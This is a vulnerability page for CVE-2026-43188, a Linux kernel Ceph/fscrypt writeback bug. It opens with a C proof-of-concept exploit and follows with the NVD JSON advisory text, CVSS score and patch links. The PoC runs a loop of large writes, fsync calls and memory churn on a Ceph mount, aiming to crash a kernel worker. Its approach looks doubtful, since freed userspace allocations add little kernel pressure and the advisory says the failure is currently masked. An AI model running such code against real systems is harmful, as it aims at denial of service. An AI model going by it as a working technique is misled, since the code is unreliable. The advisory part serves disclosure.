CVE-2026-43188

/* * PoC for CVE-2026-43188 * Concept: Trigger memory pressure during writeback on a Ceph mount with fscrypt. * This attempts to induce GFP_NOWAIT allocation failures in the kernel. */ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #include <sys/stat.h> #include <sys/types.h> #define MOUNT_POINT "/mnt/ceph" // Replace with actual Ceph mount point #define FILE_NAME "trigger.dat" #define BUFFER_SIZE (4 * 1024 * 1024) // 4MB chunks void consume_memory() { // Attempt to pressure memory to trigger GFP_NOWAIT failures void *ptrs[100]; for(int i = 0; i < 100; i++) { ptrs[i] = malloc(10 * 1024 * 1024); // Alloc 10MB if(!ptrs[i]) break; } // Free immediately to loop, or hold to increase pressure for(int i = 0; i < 100; i++) { if(ptrs[i]) free(ptrs[i]); } } int main() { char path[256]; snprintf(path, sizeof(path), "%s/%s", MOUNT_POINT, FILE_NAME); int fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644); if (fd < 0) { perror("open failed"); return 1; } char *buffer = malloc(BUFFER_SIZE); if (!buffer) { perror("malloc failed"); close(fd); return 1; } memset(buffer, 'A', BUFFER_SIZE); printf("Starting write operations to trigger bug..."); fflush(stdout); // Write loop to force writeback for (int i = 0; i < 1000; i++) { write(fd, buffer, BUFFER_SIZE); // Sync occasionally to force writeback operations if (i % 10 == 0) { fsync(fd); consume_memory(); // Try to disrupt allocation } } free(buffer); close(fd); unlink(path); printf("Exploit attempt finished.\n"); return 0; }

{"cve": {"id": "CVE-2026-43188", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:37.600", "lastModified": "2026-05-11T20:38:38.500", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nceph: do not propagate page array emplacement errors as batch errors\n\nWhen fscrypt is enabled, move_dirty_folio_in_page_array() may fail\nbecause it needs to allocate bounce buffers to store the encrypted\nversions of each folio. Each folio beyond the first allocates its bounce\nbuffer with GFP_NOWAIT. Failures are common (and expected) under this\nallocation mode; they should flush (not abort) the batch.\n\nHowever, ceph_process_folio_batch() uses the same `rc` variable for its\nown return code and for capturing the return codes of its routine calls;\nfailing to reset `rc` back to 0 results in the error being propagated\nout to the main writeback loop, which cannot actually tolerate any\nerrors here: once `ceph_wbc.pages` is allocated, it must be passed to\nceph_submit_write() to be freed. If it survives until the next iteration\n(e.g. due to the goto being followed), ceph_allocate_page_array()'s\nBUG_ON() will oops the worker.\n\nNote that this failure mode is currently masked due to another bug\n(addressed next in this series) that prevents multiple encrypted folios\nfrom being selected for the same write.\n\nFor now, just reset `rc` when redirtying the folio to prevent errors in\nmove_dirty_folio_in_page_array() from propagating. Note that\nmove_dirty_folio_in_page_array() is careful never to return errors on\nthe first folio, so there is no need to check for that. After this\nchange, ceph_process_folio_batch() no longer returns errors; its only\nremaining failure indicator is `locked_pages == 0`, which the caller\nalready handles correctly."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.15", "versionEndExcluding": "6.18.16", "matchCriteriaId": "5B5F989F-E891-48E4-9EC9-3C5EFD3DB9DC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/4c0d84c788d89c167abf0bf84fd37890c4c84f08", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/707104682e3c163f7c14cdd6b07a3e95fb374759", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/746840c87d76b614b14d9337c466ff022fc49823", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}